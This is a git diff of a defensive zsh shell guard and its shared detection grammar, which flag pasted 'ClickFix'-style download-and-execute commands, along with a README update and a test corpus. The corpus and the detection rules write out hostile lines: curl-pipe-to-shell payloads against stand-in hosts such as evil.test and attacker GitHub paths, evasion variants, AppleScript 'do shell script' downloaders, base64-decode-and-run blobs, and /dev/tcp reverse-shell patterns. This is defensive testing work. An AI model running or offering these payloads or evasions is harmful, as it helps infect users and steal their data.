deep + # link opens Script Editor pre-filled with exactly this shape. + if [[ $cw == osascript ]]; then + if [[ $stage == *'do shell script'* ]]; then + local d + for d in $CLICKFIX_DOWNLOADERS; do + if [[ $stage == *"$d"* ]]; then + _cfg_raise block 0 "AppleScript that shells out to ${d} — infostealers use osascript to run payloads and to pop a FAKE password prompt." + break + fi + done + fi + fi + + # A shell's quoted -c argument is code, not prose: a /dev/tcp inside + # it is a reverse shell, whereas the same bytes quoted as an argument + # to git or echo are just text. This is why the whole-buffer rule F2 + # only looks at UNQUOTED text and this one looks inside the quotes. + if _cfg_is_interpreter "$cw" && [[ $stage =~ '/dev/(tcp|udp)/[0-9a-zA-Z._-]+/[0-9]+' ]]; then + _cfg_raise block 0 "Opens a raw network socket via /dev/tcp inside a ${cw} program — this is a reverse-shell shape." + fi + + _cfg_is_downloader "$cw" && saw_dl=1 + _cfg_is_decoder "$cw" && saw_dec=1 + + # RULE C — a command substitution whose output becomes a command. + # Two forms: a bare leading `$(curl x)`, and eval/source/. of one. + # v0.1.0 only matched the eval form, and only with a literal prefix. + if [[ $cw == (eval|source|.) ]] || { (( si == 1 )) && [[ ${stage##[[:space:]]#} == ('$('|'`')* ]] }; then + local d + for d in $CLICKFIX_DOWNLOADERS; do + if [[ $stage == *"$d"* ]]; then + _cfg_raise block 1 "Runs the output of a remote download as a command (\$( ... ) substitution)." + break + fi + done + fi + done + fi + stmt=() + done + + # ---- whole-buffer rules --------------------------------------------- + + # RULE F1 — stripping the quarantine attribute. This is the "right-click + # Open / it says the app is damaged" instruction, and it is the user + # manually disarming Gatekeeper. Never legitimate in a pasted command. + if [[ $unq == *'xattr'* ]] && [[ $clean == *(-c|-cr|-rc|-d|--delete|--clear)* ]]; then + if [[ $clean == *'com.apple.quarantine'* || $clean == *(-c|-cr|-rc)[[:space:]]* ]]; then + _cfg_raise block 0 "Strips macOS quarantine flags (xattr) — this manually disables Gatekeeper on a downloaded file." + fi + fi + + # RULE F2 — /dev/tcp or /dev/udp reverse shell. Only when UNQUOTED, so + # `git commit -m "note about /dev/tcp/host/9000"` does not fire. + if [[ $unq =~ '/dev/(tcp|udp)/[0-9a-zA-Z._-]+/[0-9]+' ]]; then + _cfg_raise block 0 "Opens a raw network socket via /dev/tcp — this is a reverse-shell shape." + fi + + # RULE F3 — mounting a remote or temp disk image, the delivery step in + # current macOS stealer campaigns. Legitimate often enough to be 'warn'. + if [[ $clean == *'hdiutil'*'attach'* ]] && [[ $clean == *(http://|https://|/tmp/|/var/folders/)* ]]; then + _cfg_raise warn 0 "Mounts a disk image fetched from the internet or staged in a temp directory." + fi + + # RULE D — download-to-file in one statement, execute that file in another. + # This is the single most common shape the v0.1.0 regex could not see. + # It sits at 'warn' because ordinary development legitimately downloads a + # file and then runs it; at 'block' this rule alone would fire hourly. + local dlpath='' + if [[ $clean =~ '(curl|wget|fetch|nscurl|aria2c)[^;|]*(-o|-O|--output|--output-document|>)[[:space:]]*([^[:space:];|&]+)' ]]; then + dlpath=${match[3]:-} + dlpath=${dlpath//[\'\"]/} + fi + if [[ -n $dlpath ]]; then + local base=${dlpath:t} + if [[ -n $base ]]; then + # Executed directly, chmod'd, or handed to an interpreter later on. + if [[ $clean == *'chmod'*"$base"* ]] \ + || [[ $clean == *'./'"$base"* ]] \ + || [[ $clean =~ "(sh|bash|zsh|dash|osascript|python[0-9.]*|perl|ruby|node|open|installer)[[:space:]][^;|]*${base}" ]]; then + _cfg_raise warn 1 "Downloads a file and then runs it in a separate command — the two halves of a download-and-execute attack, split up." + fi + fi + fi + + # RULE G — invisible or look-alike characters. Zero-width and bidi controls + # have no legitimate place in a shell command, and Cyrillic homoglyphs in + # decoy comments are standard ClickFix tradecraft. + if [[ $buf == *$'\u200b'* || $buf == *$'\u200c'* || $buf == *$'\u200d'* \ + || $buf == *$'\ufeff'* || $buf == *$'\u202a'* || $buf == *$'\u202b'* \ + || $buf == *$'\u202c'* || $buf == *$'\u202d'* || $buf == *$'\u202e'* \ + || $buf == *$'\u2066'* || $buf == *$'\u2067'* || $buf == *$'\u2068'* \ + || $buf == *$'\u2069'* || $buf == *$'\u202f'* ]]; then + _cfg_raise warn 0 "Contains invisible or direction-changing characters — used to hide what a command really says." + fi + # Cyrillic/Greek letters outside any quoted string. Written as a glob range + # over literal codepoints because zsh's =~ has no \u escape. + if [[ $unq == *[$'\u0400'-$'\u04ff'$'\u0370'-$'\u03ff']* ]]; then + _cfg_raise warn 0 "Contains look-alike (Cyrillic/Greek) letters in the command itself — a way to disguise a hostile command as a familiar one." + fi + + # ---- trusted-installer waiver --------------------------------------- + # Only applies when EVERY reason raised was waivable and every URL in the + # buffer resolves to a trusted single-tenant installer or an allowlisted + # host+path prefix. + if [[ $CLICKFIX_VERDICT != silent ]] && (( _cfg_waivable_only )) && (( ! CLICKFIX_HIGH_RISK )); then + if _cfg_all_urls_trusted "$clean"; then + CLICKFIX_VERDICT=silent + CLICKFIX_REASONS=() + fi + fi + + if (( CLICKFIX_HIGH_RISK )) && [[ $CLICKFIX_VERDICT != silent ]]; then + CLICKFIX_REASONS+=( "The download is staged on a host commonly used to serve malware payloads." ) + fi + + [[ $CLICKFIX_VERDICT == silent ]] && return 0 + return 1 +} diff --git a/shellguard/README.md b/shellguard/README.md index 9288919..3365eae 100644 --- a/shellguard/README.md +++ b/shellguard/README.md @@ -114,16 +114,37 @@ command is pasted, before you even press Enter. Over-prompting is the #1 reason people disable a guard and then ignore it. ShellGuard ships with mitigations, all overridable in `~/.zshrc` **after** the source line. -**1. Trusted-host allowlist.** If every download URL in a flagged command points at a -well-known installer host, the guard stays silent. Defaults include `sh.rustup.rs`, -`get.docker.com`, `raw.githubusercontent.com`, `install.python-poetry.org`, -`get.pnpm.io`, `bun.sh`, and more. Extend it: +**1. Trusted-installer allowlist.** If every download URL in a flagged command points +at a trusted installer, the guard stays silent. There are two lists, and the +distinction is load-bearing: + +- `CLICKFIX_ALLOW_HOSTS` — **single-tenant** hosts only, where the domain owner + controls every byte served: `sh.rustup.rs`, `get.docker.com`, + `install.python-poetry.org`, `get.pnpm.io`, `bun.sh`, and a few more. +- `CLICKFIX_ALLOW_URL_PREFIXES` — scheme + host + **path prefix**, for hosts the + public can publish to: `raw.githubusercontent.com/ohmyzsh/`, + `raw.githubusercontent.com/Homebrew/`, `raw.githubusercontent.com/nvm-sh/`. + +> **Why the split.** v0.1.0 had bare `raw.githubusercontent.com` in the host +> allowlist. Any GitHub account can publish an arbitrary script there with zero +> review, so the guard was silently waving through +> `curl …/<attacker>/<repo>/main/x.sh | sh` — it was telling an attacker where to +> host the payload. **Never put a host the public can publish to in +> `CLICKFIX_ALLOW_HOSTS`.** Use the URL-prefix list, which scopes trust to a +> specific upstream project. There is deliberately no wildcard-subdomain rule. ```zsh # in ~/.zshrc, AFTER the shellguard source line: -CLICKFIX_GUARD_ALLOW_HOSTS+=( my.internal-ci.example registry.example.com ) +CLICKFIX_ALLOW_HOSTS+=( my.internal-ci.example registry.example.com ) +CLICKFIX_ALLOW_URL_PREFIXES+=( raw.githubusercontent.com/my-org/ ) ``` +**1b. Two tiers.** `block` demands a typed phrase and is reserved for unambiguous +attack shapes. `warn` shows the banner and takes a single Enter, and is where +heuristics with real false-positive rates live (two-step download-then-run, +look-alike characters, `hdiutil attach`). The split exists so the typed phrase +never becomes muscle memory — a guard people reflexively confirm is not a guard. + > Note: payloads with **no** URL (a `base64 -d | sh` blob, a `/dev/tcp` reverse > shell) are never auto-trusted, because there's no host to vouch for them. diff --git a/shellguard/shellguard.zsh b/shellguard/shellguard.zsh index f4d5ba5..9349b25 100644 --- a/shellguard/shellguard.zsh +++ b/shellguard/shellguard.zsh @@ -2,8 +2,7 @@ # ----------------------------------------------------------------------------- # A zsh ZLE accept-line guard that intercepts dangerous "download-and-execute" / # "decode-and-execute" commands BEFORE they run, prints a plain-language warning -# explaining what the command does, and forces the user to type a confirmation -# phrase (read from /dev/tty) before it will execute. Otherwise it aborts. +# explaining what the command does, and requires confirmation before executing. # # WHY accept-line (and not preexec): # A ZLE widget that wraps `accept-line` can refuse to run a command simply by @@ -15,11 +14,17 @@ # THREAT MODEL — "ClickFix" / FakeCAPTCHA: # A malicious page silently copies a shell command to the clipboard and tells # the victim to open Terminal, paste, and hit Enter "to verify you are human". -# The payload is usually a curl|sh, an eval $(curl ...), or a base64 -d | sh. # Gatekeeper/notarization/XProtect do NOT stop a pasted command (no quarantine # xattr, no file-launch event). The only thing standing between the victim and # a stealer is the human not hitting Enter on autopilot. This guard breaks the -# autopilot by demanding a TYPED phrase at the exact execute moment. +# autopilot at the exact execute moment. +# +# WHAT CHANGED IN v0.1.1: +# Detection no longer lives in this file. It lives in +# ../lib/clickfix-grammar.zsh, shared with ClipSentinel so the two layers +# cannot drift apart. v0.1.0's regex-over-raw-string approach silently passed +# 9 of 13 realistic ClickFix payloads — see ../tests/corpus.tsv, which now +# asserts every one of them, and SECURITY.md for the full write-up. # # DEFENSIVE USE ONLY. This tool does not exfiltrate, log values, or phone home. # ----------------------------------------------------------------------------- @@ -28,182 +33,135 @@ [[ -n ${_CLICKFIX_GUARD_LOADED:-} ]] && return 0 typeset -g _CLICKFIX_GUARD_LOADED=1 +# --------------------------------------------------------------------------- +# Load the shared grammar +# --------------------------------------------------------------------------- +# %x is the file currently being sourced, which is what we need here — $0 is +# not reliable for a sourced file. +typeset -g _CLICKFIX_GUARD_DIR=${${(%):-%x}:A:h} +typeset -g _CLICKFIX_GRAMMAR_PATH=${CLICKFIX_GRAMMAR_PATH:-${_CLICKFIX_GUARD_DIR:h}/lib/clickfix-grammar.zsh} + +# Fail LOUDLY. A guard that silently does nothing is worse than no guard, +# because the user believes they are protected. +if [[ ! -r $_CLICKFIX_GRAMMAR_PATH ]]; then + print -u2 -- "[shellguard] FATAL: cannot read ${_CLICKFIX_GRAMMAR_PATH}" + print -u2 -- "[shellguard] THE GUARD IS NOT ACTIVE. Re-clone the kit, or set CLICKFIX_GRAMMAR_PATH." + return 1 +fi +source "$_CLICKFIX_GRAMMAR_PATH" || { + print -u2 -- "[shellguard] FATAL: grammar failed to load — THE GUARD IS NOT ACTIVE." + return 1 +} + # --------------------------------------------------------------------------- # Configuration (override in ~/.zshrc AFTER sourcing this file) # --------------------------------------------------------------------------- -# The exact phrase the user must type to allow a flagged command through. -# A full word/phrase (not y/N) is intentional: a single keypress is too easy to +# The exact phrase required to allow a `block`-tier command through. A full +# phrase (not y/N) is intentional: a single keypress is too easy to # muscle-memory through, and defeating that autopilot is the whole point. : ${CLICKFIX_GUARD_PHRASE:=I-UNDERSTAND} -# Set CLICKFIX_GUARD=0 in the environment to disable the guard entirely -# (useful for non-interactive/scripted sessions or trusted automation). +# Set CLICKFIX_GUARD=0 to disable the guard entirely (scripted sessions). : ${CLICKFIX_GUARD:=1} -# Space-separated allowlist of trusted hostnames. If a flagged command's only -# download URL points at one of these well-known installer hosts, the guard -# stays quiet — prompting on legit `rustup`/`brew`/`nvm` installers is the #1 -# way users get annoyed and disable the guard, which trains them to ignore it. -# Override/extend in ~/.zshrc, e.g.: -# CLICKFIX_GUARD_ALLOW_HOSTS+=( my.internal.ci ) -typeset -ga CLICKFIX_GUARD_ALLOW_HOSTS -: ${CLICKFIX_GUARD_ALLOW_HOSTS:=} -if (( ${#CLICKFIX_GUARD_ALLOW_HOSTS} == 0 )); then - CLICKFIX_GUARD_ALLOW_HOSTS=( - sh.rustup.rs - static.rust-lang.org - get.docker.com - raw.githubusercontent.com # ohmyzsh, nvm, etc. — see note below - raw.github.com - install.python-poetry.org - get.pnpm.io - deb.nodesource.com - brew.sh - bun.sh - sdkman.io - get.sdkman.io - ) -fi +# Trusted-installer allowlists live in the shared grammar as +# CLICKFIX_ALLOW_HOSTS and CLICKFIX_ALLOW_URL_PREFIXES. Extend them in ~/.zshrc +# AFTER sourcing this file, e.g.: +# CLICKFIX_ALLOW_HOSTS+=( my.internal.ci ) +# CLICKFIX_ALLOW_URL_PREFIXES+=( raw.githubusercontent.com/my-org/ ) +# Prefer the URL-prefix form for ANY host the public can publish to. Adding a +# multi-tenant host to CLICKFIX_ALLOW_HOSTS tells an attacker where to stage a +# payload that this guard will wave through — that was CVE-shaped bug #1 in +# v0.1.0 and it is worth not reintroducing locally. # --------------------------------------------------------------------------- -# Pattern definitions +# Banner # --------------------------------------------------------------------------- -# The regexes are deliberately TIGHT: they require the dangerous SHAPE -# (pipe-to-interpreter, eval/exec of a command substitution, decode-then-pipe), -# NOT the mere presence of `curl`. `curl https://example.com` on its own is fine -# and must NOT prompt — over-prompting trains users to ignore the guard. -# -# zsh regex note: we use `[[ $buf =~ $re ]]` which uses ERE (extended regex) -# on macOS/zsh. We keep patterns ERE-portable (no \s; use [[:space:]]). - -# Build the master detection regex as an array of alternatives, then join. -typeset -ga _clickfix_patterns -_clickfix_patterns=( - # 1) curl/wget/fetch ... | [sudo] <interpreter> - # download piped straight into a shell or scripting interpreter. - '(curl|wget|fetch)[^|;&]*\|[[:space:]]*(sudo[[:space:]]+)?(sh|bash|zsh|dash|ksh|python[0-9.]*|perl|ruby|node|php|osascript)([[:space:]]|$)' - - # 2) eval/exec/source/. of a curl/wget/fetch command substitution. - # eval "$(curl ...)" or exec $(wget ...) etc. - '(eval|exec|source|\.)[[:space:]]+["'\'']?\$\((curl|wget|fetch)' - - # 2b) process substitution feeding a remote download into source/eval/a shell. - # source <(curl ...) / bash <(curl ...) / . <(wget ...) - '(source|eval|exec|\.|sh|bash|zsh|dash)[[:space:]]+<\([[:space:]]*(curl|wget|fetch)' - - # 3) base64 decode piped into a shell. - # base64 -d | sh / base64 --decode | bash / base64 -D | zsh - 'base64[[:space:]]+(--?d(ecode)?|-D)[^|]*\|[[:space:]]*(sudo[[:space:]]+)?(sh|bash|zsh|dash|python[0-9.]*)([[:space:]]|$)' - - # 4) echo/printf of a long base64-looking blob piped into base64 then a shell, - # OR piped directly into a shell. Catches `echo <blob> | base64 -d | sh`. - '(echo|printf)[[:space:]]+["'\'']?[A-Za-z0-9+/=]{40,}["'\'']?[[:space:]]*\|[[:space:]]*(base64|openssl|sh|bash|zsh)' - - # 5) python/perl/ruby/node inline program (-c / -e / --eval) that downloads - # + executes. e.g. python3 -c 'import urllib...; exec(urlopen(...).read())', - # perl -e 'system("curl ... | sh")', node -e 'http.get(...,eval)'. - '(python[0-9.]*|perl|ruby|node)[[:space:]]+(-c|-e|--eval)[[:space:]]+["'\''].*(urllib|urlopen|requests\.get|http|exec\(|eval\(|os\.system|system\(|subprocess|child_process|`)' - # 6) curl/wget output piped into osascript (AppleScript) — AMOS uses osascript - # for the fake password dialog. Any `| osascript` of remote content is hostile. - '(curl|wget|fetch)[^|;&]*\|[[:space:]]*osascript' - - # 7) osascript output piped into a shell (decode-and-run via AppleScript). - 'osascript[^|]*\|[[:space:]]*(sh|bash|zsh)([[:space:]]|$)' +# _clickfix_banner <tier> +# Everything goes to /dev/tty: inside a ZLE widget the line editor owns the +# terminal, so ordinary stdout is not reliable. +_clickfix_banner() { + emulate -L zsh + local tier=$1 + local shown - # 8) bash /dev/tcp or /dev/udp reverse-shell redirect. - '/dev/(tcp|udp)/[0-9a-zA-Z.]+/[0-9]+' -) + # The buffer is attacker-controlled. Never print it raw — a payload can emit + # ANSI to scroll this warning off screen or paint a fake confirmation line + # into our own banner. + shown=$(clickfix_sanitize_for_display "$BUFFER" 12) -# Join alternatives into one regex. -typeset -g _clickfix_master_re="${(j:|:)_clickfix_patterns}" + { + if [[ $tier == block ]]; then + printf '\n\033[1;41;97m ClickFix / download-and-execute guard \033[0m\n' + printf '\033[1;31mThis command can run code from the internet on your Mac:\033[0m\n\n' + else + printf '\n\033[1;43;30m ClickFix guard — heads up \033[0m\n' + printf '\033[1;33mThis command has the shape of a download-and-execute attack:\033[0m\n\n' + fi + printf '\033[0;33m %s\033[0m\n\n' "$shown" + printf '\033[1mWhat it does:\033[0m\n' + local r + for r in "${CLICKFIX_REASONS[@]}"; do + printf ' \xE2\x80\xA2 %s\n' "$r" + done + printf '\n\033[2mIf a website, CAPTCHA, video player, or AI answer told you to paste\n' + printf 'this, it is almost certainly an attack. Legit installers rarely need\n' + printf 'you to pipe a download straight into a shell.\033[0m\n\n' + } > /dev/tty +} # --------------------------------------------------------------------------- -# Helpers +# Reading the confirmation # --------------------------------------------------------------------------- - -# _clickfix_explain <buffer> -# Prints a short plain-language description of WHAT the flagged command does, -# so the user understands the risk instead of pattern-matching on red text. -_clickfix_explain() { +# _clickfix_read_reply <prompt> +# Read a typed line from the terminal from INSIDE a ZLE widget, into $REPLY. +# +# This is subtler than it looks and v0.1.0 got it wrong. While a ZLE widget is +# running, the line editor holds the terminal in raw mode with echo disabled. +# A bare `read -r < /dev/tty` therefore (a) shows the user nothing as they +# type, and (b) never returns, because in raw mode the Enter key sends CR and +# `read` only terminates on LF. The confirmation gate — the entire point of the +# block tier — could not actually be completed. +# +# So we save the terminal state, restore canonical line-buffered mode with echo +# for the duration of the read, and put it back exactly as it was afterwards. +# The restore runs on every path, including when the user hits Ctrl-C. +_clickfix_read_reply() { emulate -L zsh - local buf=$1 - local -a reasons - - [[ $buf == *'/dev/tcp/'* || $buf == *'/dev/udp/'* ]] && \ - reasons+=( "Opens a raw network connection (possible reverse shell)." ) - - if [[ $buf =~ '(curl|wget|fetch)[^|;&]*\|[[:space:]]*(sudo[[:space:]]+)?(sh|bash|zsh|dash|ksh|python|perl|ruby|node|php)' ]]; then - reasons+=( "Downloads code from the internet and pipes it STRAIGHT into a shell/interpreter — it runs without you ever reading it." ) - fi - if [[ $buf =~ '(eval|exec|source|\.)[[:space:]]+["'\'']?\$\((curl|wget|fetch)' ]]; then - reasons+=( "Runs the output of a remote download as a command (eval/exec of \$(curl ...))." ) + local prompt=$1 + REPLY='' + + # Preferred path: zsh's own minibuffer reader. It is written for use inside a + # widget, so it drives ZLE's input loop rather than fighting it, and it gets + # echo and line-editing right without touching the terminal mode at all. + if autoload -Uz read-from-minibuffer 2>/dev/null && \ + whence -w read-from-minibuffer >/dev/null 2>&1; then + read-from-minibuffer "$prompt" 2>/dev/null && { REPLY=${REPLY%$'\r'}; return 0 } fi - if [[ $buf =~ 'base64[[:space:]]+(--?d(ecode)?|-D)' ]]; then - reasons+=( "Decodes hidden/obfuscated base64 text and executes it (a classic way to hide the real payload)." ) - fi - if [[ $buf == *'| osascript'* || $buf =~ 'osascript[^|]*\|[[:space:]]*(sh|bash|zsh)' ]]; then - reasons+=( "Involves osascript/AppleScript — infostealers use this to pop a FAKE password prompt." ) - fi - if [[ $buf =~ '(python|perl|ruby|node)[[:space:]]+-c' ]]; then - reasons+=( "Runs an inline script that fetches and executes remote code." ) - fi - - (( ${#reasons} == 0 )) && reasons=( "Matches a download-and-execute / decode-and-execute pattern." ) - - local r - for r in $reasons; do - printf ' \xE2\x80\xA2 %s\n' "$r" > /dev/tty - done -} - -# _clickfix_extract_hosts <buffer> -# Echoes the hostnames of any http(s) URLs found in the buffer, one per line. -# Used to compare against the trusted-host allowlist. -_clickfix_extract_hosts() { - emulate -L zsh - local buf=$1 - # Grab http(s)://host/... occurrences. -o = only-matching, -E = ERE. - # We strip scheme and path to leave the bare host. - print -r -- "$buf" \ - | grep -oE 'https?://[^[:space:]/"'\''`)]+' 2>/dev/null \ - | sed -E 's#^https?://##; s#/.*$##; s#:[0-9]+$##; s#^[^@]*@##' 2>/dev/null -} -# _clickfix_all_hosts_trusted <buffer> -# Returns 0 (true) only if the buffer contains at least one URL AND every URL -# host is in the allowlist. If there are no URLs (e.g. base64/dev-tcp payloads), -# returns 1 (false) so the guard still prompts. -_clickfix_all_hosts_trusted() { - emulate -L zsh - local buf=$1 - local -a hosts - hosts=( ${(f)"$(_clickfix_extract_hosts "$buf")"} ) - - (( ${#hosts} == 0 )) && return 1 # no URL to vouch for → not auto-trusted - - local h trusted allowed - for h in $hosts; do - trusted=0 - for allowed in $CLICKFIX_GUARD_ALLOW_HOSTS; do - # Exact match or subdomain of an allowed host. - if [[ $h == $allowed || $h == *.$allowed ]]; then - trusted=1 - break - fi - done - (( trusted )) || return 1 # one untrusted host is enough to prompt - done + # Fallback for a non-ZLE context (or a zsh without the function): restore a + # canonical, echoing terminal for the duration of the read, then put it back + # exactly as it was. `stty sane` rather than individual flags — setting + # icanon/echo/icrnl piecemeal was observed NOT to enable CR->NL translation, + # so Enter never terminated the read and the gate could not be completed. + local saved='' + saved=$(stty -g < /dev/tty 2>/dev/null) + stty sane < /dev/tty 2>/dev/null + { + printf '%s' "$prompt" > /dev/tty + IFS= read -r REPLY < /dev/tty + } always { + [[ -n $saved ]] && stty "$saved" < /dev/tty 2>/dev/null + } + REPLY=${REPLY%$'\r'} return 0 } # --------------------------------------------------------------------------- # The guard widget # --------------------------------------------------------------------------- -# We chain to whatever `accept-line` widget already exists (zsh-syntax-highlighting, -# zsh-autosuggestions, oh-my-zsh, etc. all wrap accept-line). We captured the -# prior binding name at install time into $_clickfix_orig_accept_line below. _clickfix_guard() { emulate -L zsh @@ -216,56 +174,44 @@ _clickfix_guard() { fi local buf=$BUFFER - - # Empty / whitespace-only buffers: nothing to inspect. - if [[ -z ${buf// /} ]]; then + if [[ -z ${buf//[[:space:]]/} ]]; then _clickfix_call_original return fi - # Fast path: does the buffer match any dangerous pattern at all? - if [[ ! $buf =~ $_clickfix_master_re ]]; then - _clickfix_call_original - return - fi + clickfix_check "$buf" - # Matched something dangerous-shaped. Before alarming, check the allowlist: - # if EVERY URL in the command points at a trusted installer host, let it pass - # silently. (base64 / dev-tcp payloads have no URL → never auto-trusted.) - if _clickfix_all_hosts_trusted "$buf"; then + if [[ $CLICKFIX_VERDICT == silent ]]; then _clickfix_call_original return fi - # --- DANGER PATH: warn loudly and demand a typed confirmation. ----------- - # All prompt/output and the read MUST go to /dev/tty, because inside a ZLE - # widget the line editor owns the keyboard; a bare `read` misbehaves. - zle -M "" # clear any ZLE status line - - { - printf '\n\033[1;41;97m ClickFix / download-and-execute guard \033[0m\n' - printf '\033[1;31mThis command can run code from the internet on your Mac:\033[0m\n\n' - printf '\033[0;33m %s\033[0m\n\n' "$buf" - printf '\033[1mWhat it does:\033[0m\n' - } > /dev/tty - _clickfix_explain "$buf" - - { - printf '\n\033[2mIf a website/CAPTCHA/AI answer told you to paste this, it is almost\n' - printf 'certainly an attack. Legit installers rarely need you to pipe to a shell.\033[0m\n\n' - printf 'To RUN it anyway, type exactly: \033[1;32m%s\033[0m\n' "$CLICKFIX_GUARD_PHRASE" - printf 'Anything else (or Enter) aborts: ' - } > /dev/tty + _clickfix_banner "$CLICKFIX_VERDICT" local answer='' - # Read the typed confirmation directly from the terminal device. - IFS= read -r answer < /dev/tty - if [[ $answer == "$CLICKFIX_GUARD_PHRASE" ]]; then - printf '\033[2m[shellguard] confirmed — running.\033[0m\n' > /dev/tty - _clickfix_call_original - return + if [[ $CLICKFIX_VERDICT == warn ]]; then + # 'warn' tier: one Enter proceeds. These rules (two-step download, + # look-alike characters, disk-image mounts) have real false-positive rates. + # Demanding the full phrase here would train the user to type it + # reflexively, which would hollow out the 'block' tier as well. + _clickfix_read_reply 'Press \033[1mEnter\033[0m to run it, or type \033[1manything\033[0m then Enter to abort: ' + answer=$REPLY + if [[ -z $answer ]]; then + printf '\033[2m[shellguard] proceeding.\033[0m\n' > /dev/tty + _clickfix_call_original + return + fi + else + printf 'To RUN it anyway, type exactly: \033[1;32m%s\033[0m\n' "$CLICKFIX_GUARD_PHRASE" > /dev/tty + _clickfix_read_reply 'Anything else (or Enter) aborts: ' + answer=$REPLY + if [[ $answer == "$CLICKFIX_GUARD_PHRASE" ]]; then + printf '\033[2m[shellguard] confirmed — running.\033[0m\n' > /dev/tty + _clickfix_call_original + return + fi fi # Aborted: wipe the buffer and redraw a clean prompt. @@ -277,7 +223,7 @@ _clickfix_guard() { # _clickfix_call_original # Invoke the previously-bound accept-line widget if we captured one, otherwise -# fall back to the builtin (.accept-line). This keeps zsh-autosuggestions and +# fall back to the builtin. This keeps zsh-autosuggestions and # zsh-syntax-highlighting working instead of clobbering their wrappers. _clickfix_call_original() { if [[ -n ${_clickfix_orig_accept_line:-} ]] \ @@ -290,15 +236,14 @@ _clickfix_call_original() { } # --------------------------------------------------------------------------- -# Optional: warn at PASTE time too (earlier than Enter). +# Warn at PASTE time too (earlier than Enter). # When zsh bracketed-paste is active, a multiline ClickFix payload lands in # $BUFFER literally (it will NOT auto-execute — good). We additionally scan the -# just-pasted region so the user sees a heads-up the moment they paste, before -# they even hit Enter. This is advisory only; the real block is at accept-line. +# just-pasted region so the user sees a heads-up the moment they paste. This is +# advisory only; the authoritative block is at accept-line. # --------------------------------------------------------------------------- _clickfix_bracketed_paste() { emulate -L zsh - # Run the normal bracketed-paste first so the text lands in $BUFFER. if [[ -n ${_clickfix_orig_bracketed_paste:-} ]] \ && zle -l | grep -qx -- "${_clickfix_orig_bracketed_paste}"; then zle "${_clickfix_orig_bracketed_paste}" @@ -308,7 +253,6 @@ _clickfix_bracketed_paste() { [[ ${CLICKFIX_GUARD:-1} == 0 ]] && return 0 - # Inspect only the region that was just pasted, if zsh exposed it. local pasted='' if [[ -n ${YANK_START:-} && -n ${YANK_END:-} ]]; then pasted=${BUFFER[$((YANK_START + 1)),$YANK_END]} @@ -316,9 +260,10 @@ _clickfix_bracketed_paste() { pasted=$BUFFER fi - if [[ -n $pasted && $pasted =~ $_clickfix_master_re ]] \ - && ! _clickfix_all_hosts_trusted "$pasted"; then - zle -M "shellguard: pasted text looks like a download-and-execute command — review before pressing Enter." + [[ -z $pasted ]] && return 0 + clickfix_check "$pasted" + if [[ $CLICKFIX_VERDICT != silent ]]; then + zle -M "shellguard: pasted text looks like a download-and-execute command — review it before pressing Enter." fi } @@ -332,13 +277,10 @@ _clickfix_bracketed_paste() { # but only if it isn't already our own guard (avoid recursive self-binding). local current_accept current_accept=$(zle -l -L accept-line 2>/dev/null | awk '{print $NF}') - # `zle -lL accept-line` prints e.g. "zle -N accept-line orig-widget". - # If accept-line is the builtin, the listing is empty; default to .accept-line. if [[ -n $current_accept && $current_accept != _clickfix_guard && $current_accept != accept-line ]]; then typeset -g _clickfix_orig_accept_line=$current_accept fi - # Same for bracketed-paste. local current_bp current_bp=$(zle -l -L bracketed-paste 2>/dev/null | awk '{print $NF}') if [[ -n $current_bp && $current_bp != _clickfix_bracketed_paste && $current_bp != bracketed-paste ]]; then diff --git a/tests/corpus.tsv b/tests/corpus.tsv new file mode 100644 index 0000000..b0a8f37 --- /dev/null +++ b/tests/corpus.tsv @@ -0,0 +1,140 @@ +# ClickFix Defense Kit — detection corpus +# --------------------------------------------------------------------------- +# ONE tab-separated row per case: <expected verdict><TAB><command> +# block = demand a typed confirmation phrase +# warn = show the banner, single Enter proceeds +# silent = do not interrupt the user at all +# +# Both ShellGuard and ClipSentinel are asserted against THIS FILE, so the two +# layers can never drift apart again. +# +# Rows marked [v0.1.0-BYPASS] silently PASSED the shipped v0.1.0 grammar. +# They are the reason this file exists. Do not delete them. +# Rows marked [v0.1.0-FP] wrongly BLOCKED under v0.1.0. Over-prompting gets the +# guard uninstalled, so a false positive is a real defect, not a nuisance. +# --------------------------------------------------------------------------- + +# === the canonical attack (v0.1.0 caught this one) === +block curl -fsSL https://evil.test/x.sh | sh +block curl https://evil.test/x.sh | bash +block wget -qO- https://evil.test/x.sh | sh +block curl -fsSL https://evil.test/x.sh | sudo bash + +# === [v0.1.0-BYPASS] shape-breaking one-character evasions === +block curl https://evil.test/x.sh | bash; +block curl -fsSL https://evil.test/x | /bin/sh +block curl -fsSL https://evil.test/x | \sh +block curl -fsSL https://evil.test/x | 'sh' +block curl -fsSL https://evil.test/x | "bash" +block curl https://evil.test/x | command sh +block curl https://evil.test/x | exec bash +block curl https://evil.test/x | env sh +block curl -fsSL https://evil.test/x | sudo -u nobody sh + +# === [v0.1.0-BYPASS] an ordinary query string defeated the negated-run regex === +block curl -s "https://evil.test/loader.sh?build=1&id=abc" | bash +block curl "https://evil.test/x?a=1&b=2" | sh +block curl -H "Accept: */*;q=0.8" https://evil.test/i.sh | bash + +# === [v0.1.0-BYPASS] no pipe-to-interpreter shape at all === +block bash -c "$(curl -fsSL https://evil.test/p.sh)" +block sh -c "$(curl -fsSL https://evil.test/p.sh)" +block zsh -c "`curl -fsSL https://evil.test/p.sh`" +block $(curl -fsSL https://evil.test/x) + +# === [v0.1.0-BYPASS] interposed pipeline stages === +block curl -fsSL https://evil.test/x | tee /tmp/p | sh +block curl -s https://evil.test/x.gz | gunzip | bash +block curl -s https://evil.test/x | tr -d '\r' | bash + +# === [v0.1.0-BYPASS] the allowlist told the attacker where to host === +block curl -fsSL https://raw.githubusercontent.com/attacker/evil/main/x.sh | sh +block curl -fsSL https://raw.github.com/attacker/evil/main/x.sh | bash +block eval "$(curl -fsSL https://raw.githubusercontent.com/attacker/r/main/x.sh)" +block curl -fsSL https://raw.githubusercontent.com/attacker/r/main/x.sh | osascript + +# === [v0.1.0-BYPASS, ClipSentinel] substring allowlist total suppression === +block curl -fsSL https://goatramz.test/get4/install.sh | bash +block curl -s https://evil-bun.shop/p | bash +block curl http://evil.test/p | bash # deno.land +block curl http://evil.test/p | bash # https://sh.rustup.rs + +# === [v0.1.0-BYPASS] AppleScript, incl. the applescript:// Script Editor lure === +block osascript -e 'do shell script "curl -kSsfL https://evil.test/x | zsh"' +block osascript -e "do shell script \"curl https://evil.test/a | sh\"" + +# === decoders other than base64 === +block echo aGVsbG8gd29ybGQgdGhpcyBpcyBhIHBheWxvYWQ= | base64 -d | sh +block echo aGVsbG8= | base64 --decode | bash +block cat p.b64 | base64 -D | zsh +block xxd -r -p payload.hex | sh +block openssl 